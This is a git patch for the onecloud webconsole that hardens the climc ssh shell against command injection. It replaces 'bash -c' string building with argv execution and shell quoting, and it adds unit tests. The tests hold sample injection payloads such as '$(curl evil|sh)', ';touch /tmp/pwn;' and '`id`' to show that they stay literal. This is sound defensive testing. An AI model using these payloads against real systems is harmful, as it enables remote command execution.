From 00ecc7a0a4146df7f68fe2e5c4bf2ae8dc2e321b Mon Sep 17 00:00:00 2001 From: Jian Qiu Date: Thu, 3 Sep 2026 10:52:21 +0800 Subject: [PATCH] fix(webconsole): harden climc shell command execution against injection (#25496) - Run ssh via exec.Command argv instead of "bash -c" string interpolation, so user-supplied fields can no longer escape into local shell commands on the webconsole server - Quote every interpolated value (env, command, args) as a POSIX shell word, so they stay literal data on the remote shell - Validate username charset and limit target_ip to climc pod or container - Add unit tests covering injection payloads Co-authored-by: Qiu Jian Co-authored-by: Claude --- pkg/apis/webconsole/climc_ssh.go | 1 - .../modules/webconsole/mod_webconsole.go | 81 +++------------ pkg/webconsole/command/climc_ssh_command.go | 90 ++++++++++++----- .../command/climc_ssh_command_test.go | 98 +++++++++++++++++++ pkg/webconsole/helper/helper.go | 47 +++++++++ 5 files changed, 224 insertions(+), 93 deletions(-) create mode 100644 pkg/webconsole/command/climc_ssh_command_test.go diff --git a/pkg/apis/webconsole/climc_ssh.go b/pkg/apis/webconsole/climc_ssh.go index f7162bdf4a..e1d813c521 100644 --- a/pkg/apis/webconsole/climc_ssh.go +++ b/pkg/apis/webconsole/climc_ssh.go @@ -15,7 +15,6 @@ package webconsole type ClimcSshInfo struct { - IpAddr string `json:"ip_addr"` Username string `json:"username"` Command string `json:"command"` Args []string `json:"args"` diff --git a/pkg/mcclient/modules/webconsole/mod_webconsole.go b/pkg/mcclient/modules/webconsole/mod_webconsole.go index 0d58852fcc..912457f67a 100644 --- a/pkg/mcclient/modules/webconsole/mod_webconsole.go +++ b/pkg/mcclient/modules/webconsole/mod_webconsole.go @@ -26,10 +26,8 @@ import ( webconsole_api "yunion.io/x/onecloud/pkg/apis/webconsole" "yunion.io/x/onecloud/pkg/httperrors" "yunion.io/x/onecloud/pkg/mcclient" - "yunion.io/x/onecloud/pkg/mcclient/auth" "yunion.io/x/onecloud/pkg/mcclient/modulebase" "yunion.io/x/onecloud/pkg/mcclient/modules/compute" - "yunion.io/x/onecloud/pkg/mcclient/modules/k8s" compute_options "yunion.io/x/onecloud/pkg/mcclient/options/compute" ) @@ -148,55 +146,15 @@ func (m WebConsoleManager) DoCloudShell(s *mcclient.ClientSession, _ jsonutils.J return m.doCloudSshShell(s, nil, "", nil, nil) } -func (m WebConsoleManager) climcSshConnect(s *mcclient.ClientSession, hostname string, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) { - if hostname == "" { - hostname = "climc" - } +func (m WebConsoleManager) climcSshConnect(s *mcclient.ClientSession, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) { // maybe running in docker compose environment, so try to use ssh way - data, err := m.DoClimcSshConnect(s, hostname, 22, command, args, env, info) + data, err := m.DoClimcSshConnect(s, command, args, env, info) if err != nil { return nil, errors.Wrap(err, "DoClimcSshConnect") } return data, nil } -func (m WebConsoleManager) doActionWithClimcPod( - s *mcclient.ClientSession, - af func(s *mcclient.ClientSession, clusterId string, pod jsonutils.JSONObject) (jsonutils.JSONObject, error), -) (jsonutils.JSONObject, error) { - adminSession := s - if auth.IsAuthed() { - adminSession = auth.GetAdminSession(s.GetContext(), s.GetRegion()) - } - - query := jsonutils.NewDict() - query.Add(jsonutils.JSONTrue, "system") - query.Add(jsonutils.NewString("system"), "scope") - query.Add(jsonutils.NewString("system-default"), "name") - clusters, err := k8s.KubeClusters.List(adminSession, query) - if err != nil { - return nil, errors.Wrap(err, "list k8s cluster") - } - clusterId, _ := clusters.Data[0].GetString("id") - if len(clusterId) == 0 { - return nil, httperrors.NewNotFoundError("cluster system-default no id") - } - query = jsonutils.NewDict() - query.Add(jsonutils.NewString(clusterId), "cluster") - query.Add(jsonutils.NewString("onecloud"), "namespace") - query.Add(jsonutils.NewString("climc"), "search") - query.Add(jsonutils.JSONTrue, "details") - pods, err := k8s.Pods.List(adminSession, query) - if err != nil { - return nil, errors.Wrap(err, "Pods") - } - if len(pods.Data) == 0 { - return nil, httperrors.NewNotFoundError("pod climc not found") - } - pod := pods.Data[0] - return af(s, clusterId, pod) -} - func (m WebConsoleManager) doCloudShell(s *mcclient.ClientSession, info *webconsole_api.SK8sShellDisplayInfo, cmd string, args ...string) (jsonutils.JSONObject, error) { endpointType := "internal" authUrl, err := s.GetServiceURL("identity", endpointType, httputils.POST) @@ -257,26 +215,11 @@ func (m WebConsoleManager) doCloudShell(s *mcclient.ClientSession, info *webcons } func (m WebConsoleManager) doCloudSshShell(s *mcclient.ClientSession, info *webconsole_api.SK8sShellDisplayInfo, command string, args []string, env map[string]string) (jsonutils.JSONObject, error) { - data, err := m.doActionWithClimcPod(s, func(s *mcclient.ClientSession, clusterId string, pod jsonutils.JSONObject) (jsonutils.JSONObject, error) { - podIP, err := pod.GetString("podIP") - if err != nil { - return nil, errors.Wrap(err, "get podIP") - } - return m.climcSshConnect(s, podIP, command, args, env, info) - }) - errs := []error{} + data, err := m.climcSshConnect(s, command, args, env, info) if err != nil { - errs = append(errs, err) - // try climc ssh - data, err := m.climcSshConnect(s, "", command, args, env, info) - if err != nil { - errs = append(errs, err) - return nil, errors.NewAggregate(errs) - } - return data, nil + return nil, errors.Wrap(err, "climcSshConnect") } return data, nil - } func (m WebConsoleManager) DoK8sLogConnect(s *mcclient.ClientSession, id string, params jsonutils.JSONObject) (jsonutils.JSONObject, error) { @@ -299,17 +242,17 @@ func (m WebConsoleManager) DoServerRDPConnect(s *mcclient.ClientSession, id stri return m.DoConnect(s, "server-rdp", id, "", params) } -func (m WebConsoleManager) DoClimcSshConnect(s *mcclient.ClientSession, ip string, port int, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) { +func (m WebConsoleManager) DoClimcSshConnect(s *mcclient.ClientSession, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) { data := jsonutils.Marshal(map[string]interface{}{ "username": "root", "keep_username": true, - "ip_addr": ip, - "port": port, - "name": "climc", - "env": env, - "command": command, - "args": args, - "display_info": info, + // "ip_addr": ip, // climc + // "port": port, // 22 + "name": "climc", + "env": env, + "command": command, + "args": args, + "display_info": info, }) body := jsonutils.NewDict() body.Set("webconsole", data) diff --git a/pkg/webconsole/command/climc_ssh_command.go b/pkg/webconsole/command/climc_ssh_command.go index 3c0f4c1f9c..76385cb4b6 100644 --- a/pkg/webconsole/command/climc_ssh_command.go +++ b/pkg/webconsole/command/climc_ssh_command.go @@ -16,9 +16,9 @@ package command import ( "fmt" - "io/ioutil" "os" "os/exec" + "regexp" "strings" "yunion.io/x/pkg/errors" @@ -28,6 +28,44 @@ import ( "yunion.io/x/onecloud/pkg/webconsole/helper" ) +var ( + usernameRe = regexp.MustCompile(`^[A-Za-z0-9_.-]+$`) + envKeyRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`) +) + +// shellQuote quotes s as a single POSIX shell word, so that it stays literal +// data when interpreted by the remote shell. +func shellQuote(s string) string { + if s == "" { + return "''" + } + return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" +} + +// buildRemoteCmd builds the command executed by the remote shell. Every +// interpolated value is passed through shellQuote so it cannot escape into +// shell syntax (command injection). +func buildRemoteCmd(env map[string]string, cmd string, args []string) (string, error) { + parts := make([]string, 0, len(env)+1) + for k, v := range env { + if !envKeyRe.MatchString(k) { + return "", fmt.Errorf("invalid env key %q", k) + } + parts = append(parts, fmt.Sprintf("export %s=%s", k, shellQuote(v))) + } + if cmd != "" { + tokens := append([]string{cmd}, args...) + quoted := make([]string, len(tokens)) + for i, token := range tokens { + quoted[i] = shellQuote(token) + } + parts = append(parts, strings.Join(quoted, " ")) + } else { + parts = append(parts, "exec bash") + } + return strings.Join(parts, " && "), nil +} + type ClimcSshCommand struct { *BaseCommand Info *webconsole.ClimcSshInfo @@ -37,31 +75,36 @@ type ClimcSshCommand struct { } func NewClimcSshCommand(info *webconsole.ClimcSshInfo, s *mcclient.ClientSession) (*ClimcSshCommand, error) { - if info.IpAddr == "" { - return nil, fmt.Errorf("Empty host ip address") - } if info.Username == "" { return nil, fmt.Errorf("Empty username") } - privateKey, err := helper.GetValidPrivateKey(info.IpAddr, 22, info.Username, "") + if !usernameRe.MatchString(info.Username) { + return nil, fmt.Errorf("Invalid username %q", info.Username) + } + targetIp := helper.FetchClimcTargetIp() + privateKey, err := helper.GetValidPrivateKey(targetIp, 22, info.Username, "") if err != nil { return nil, errors.Wrap(err, "get cloud admin private key") } - file, err := ioutil.TempFile("", fmt.Sprintf("id_rsa.%s.", info.IpAddr)) + file, err := os.CreateTemp("", fmt.Sprintf("id_rsa.%s.", targetIp)) if err != nil { return nil, err } - defer file.Close() filename := file.Name() - { + err = func() error { + defer file.Close() err = os.Chmod(filename, 0600) if err != nil { - return nil, err + return err } _, err = file.Write([]byte(privateKey)) if err != nil { - return nil, err + return err } + return nil + }() + if err != nil { + return nil, err } env := map[string]string{ "OS_AUTH_TOKEN": s.GetToken().GetTokenString(), @@ -69,29 +112,30 @@ func NewClimcSshCommand(info *webconsole.ClimcSshInfo, s *mcclient.ClientSession "OS_PROJECT_DOMAIN": s.GetProjectDomain(), "YUNION_USE_CACHED_TOKEN": "false", "OS_TRY_TERM_WIDTH": "false", + "GOMAXPROCS": "2", + "OS_USERNAME": "", + "OS_PASSWORD": "", + "OS_DOMAIN_NAME": "", + "OS_ACCESS_KEY": "", + "OS_SECRET_KEY": "", } if len(info.Env) != 0 { env = info.Env } - envCmd := "" - for k, v := range env { - envCmd = fmt.Sprintf("%s export %s=%s", envCmd, k, v) - } - execCmd := "exec bash" - if info.Command != "" { - execCmd = info.Command - execCmd = fmt.Sprintf("%s %s", execCmd, strings.Join(info.Args, " ")) + remoteCmd, err := buildRemoteCmd(env, info.Command, info.Args) + if err != nil { + return nil, err } + // argv is passed directly to ssh without a shell, so user input cannot + // escape into local command execution sshArgs := []string{ "-t", // force pseudo-terminal allocation "-o", "StrictHostKeyChecking=no", "-i", filename, - fmt.Sprintf("%s@%s", info.Username, info.IpAddr), - fmt.Sprintf("'%s && %s'", envCmd, execCmd), + fmt.Sprintf("%s@%s", info.Username, targetIp), + remoteCmd, } - sshCmd := fmt.Sprintf("ssh %s", strings.Join(sshArgs, " ")) - args := []string{"-c", sshCmd} - bCmd := NewBaseCommand(s, "bash", args...) + bCmd := NewBaseCommand(s, "ssh", sshArgs...) cmd := &ClimcSshCommand{ BaseCommand: bCmd, Info: info, diff --git a/pkg/webconsole/command/climc_ssh_command_test.go b/pkg/webconsole/command/climc_ssh_command_test.go new file mode 100644 index 0000000000..8c041ef13e --- /dev/null +++ b/pkg/webconsole/command/climc_ssh_command_test.go @@ -0,0 +1,98 @@ +// Copyright 2019 Yunion +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package command + +import ( + "os" + "os/exec" + "strings" + "testing" +) + +func TestShellQuote(t *testing.T) { + cases := []struct { + in string + want string + }{ + {"", "''"}, + {"simple", "'simple'"}, + {"a b", "'a b'"}, + {";touch /tmp/pwn;", "';touch /tmp/pwn;'"}, + {"$(curl evil|sh)", "'$(curl evil|sh)'"}, + {"`id`", "'`id`'"}, + {"it's", `'it'\''s'`}, + {"a\nb", "'a\nb'"}, + } + for _, c := range cases { + if got := shellQuote(c.in); got != c.want { + t.Errorf("shellQuote(%q) = %q, want %q", c.in, got, c.want) + } + } +} + +func TestBuildRemoteCmdDefault(t *testing.T) { + got, err := buildRemoteCmd(nil, "", nil) + if err != nil { + t.Fatalf("buildRemoteCmd: %v", err) + } + if got != "exec bash" { + t.Fatalf("default remote cmd = %q, want %q", got, "exec bash") + } +} + +// malicious env values and command args must stay literal data on the remote +// shell, they must not be executed +func TestBuildRemoteCmdInjectionSafe(t *testing.T) { + payload := "$(touch /tmp/climc_ssh_pwn)" + + remoteCmd, err := buildRemoteCmd(map[string]string{"X": payload}, "env", nil) + if err != nil { + t.Fatalf("buildRemoteCmd: %v", err) + } + out, err := exec.Command("bash", "-c", remoteCmd).Output() + if err != nil { + t.Fatalf("run remote cmd: %v", err) + } + if !strings.Contains(string(out), "X="+payload+"\n") { + t.Fatalf("env value not literal in env output") + } + if _, err := os.Stat("/tmp/climc_ssh_pwn"); !os.IsNotExist(err) { + t.Fatalf("injection payload was executed") + } + + remoteCmd, err = buildRemoteCmd(nil, "printf", []string{"%s", payload}) + if err != nil { + t.Fatalf("buildRemoteCmd: %v", err) + } + out, err = exec.Command("bash", "-c", remoteCmd).Output() + if err != nil { + t.Fatalf("run remote cmd: %v", err) + } + if string(out) != payload { + t.Fatalf("command arg not literal, output %q", string(out)) + } + if _, err := os.Stat("/tmp/climc_ssh_pwn"); !os.IsNotExist(err) { + t.Fatalf("injection payload was executed") + } +} + +func TestBuildRemoteCmdInvalidEnvKey(t *testing.T) { + if _, err := buildRemoteCmd(map[string]string{"K;touch /tmp/pwn": "v"}, "", nil); err == nil { + t.Fatalf("expected error for invalid env key") + } + if _, err := buildRemoteCmd(map[string]string{"9INVALID": "v"}, "", nil); err == nil { + t.Fatalf("expected error for invalid env key") + } +} diff --git a/pkg/webconsole/helper/helper.go b/pkg/webconsole/helper/helper.go index a8c05cbb21..d795e4effb 100644 --- a/pkg/webconsole/helper/helper.go +++ b/pkg/webconsole/helper/helper.go @@ -23,14 +23,61 @@ import ( "golang.org/x/crypto/ssh" "yunion.io/x/jsonutils" + "yunion.io/x/log" "yunion.io/x/pkg/errors" "yunion.io/x/onecloud/pkg/httperrors" "yunion.io/x/onecloud/pkg/mcclient/auth" "yunion.io/x/onecloud/pkg/mcclient/modules/compute" + "yunion.io/x/onecloud/pkg/mcclient/modules/k8s" o "yunion.io/x/onecloud/pkg/webconsole/options" ) +func fetchK8sClimcTargetIp() (string, error) { + ctx := context.Background() + adminSession := auth.GetAdminSession(ctx, o.Options.Region) + + query := jsonutils.NewDict() + query.Add(jsonutils.JSONTrue, "system") + query.Add(jsonutils.NewString("system"), "scope") + query.Add(jsonutils.NewString("system-default"), "name") + clusters, err := k8s.KubeClusters.List(adminSession, query) + if err != nil { + return "", errors.Wrap(err, "list k8s cluster") + } + clusterId, _ := clusters.Data[0].GetString("id") + if len(clusterId) == 0 { + return "", httperrors.NewNotFoundError("cluster system-default no id") + } + query = jsonutils.NewDict() + query.Add(jsonutils.NewString(clusterId), "cluster") + query.Add(jsonutils.NewString("onecloud"), "namespace") + query.Add(jsonutils.NewString("climc"), "search") + query.Add(jsonutils.JSONTrue, "details") + pods, err := k8s.Pods.List(adminSession, query) + if err != nil { + return "", errors.Wrap(err, "Pods") + } + if len(pods.Data) == 0 { + return "", httperrors.NewNotFoundError("pod climc not found") + } + pod := pods.Data[0] + podIp, err := pod.GetString("podIP") + if err != nil { + return "", errors.Wrap(err, "get podIP") + } + return podIp, nil +} + +func FetchClimcTargetIp() string { + podIp, err := fetchK8sClimcTargetIp() + if err != nil { + log.Errorf("fetchK8sClimcTargetIp: %v", err) + return "climc" + } + return podIp +} + func GetValidPrivateKey(host string, port int, username string, projectId string) (string, error) { errs := []error{} ctx := context.Background()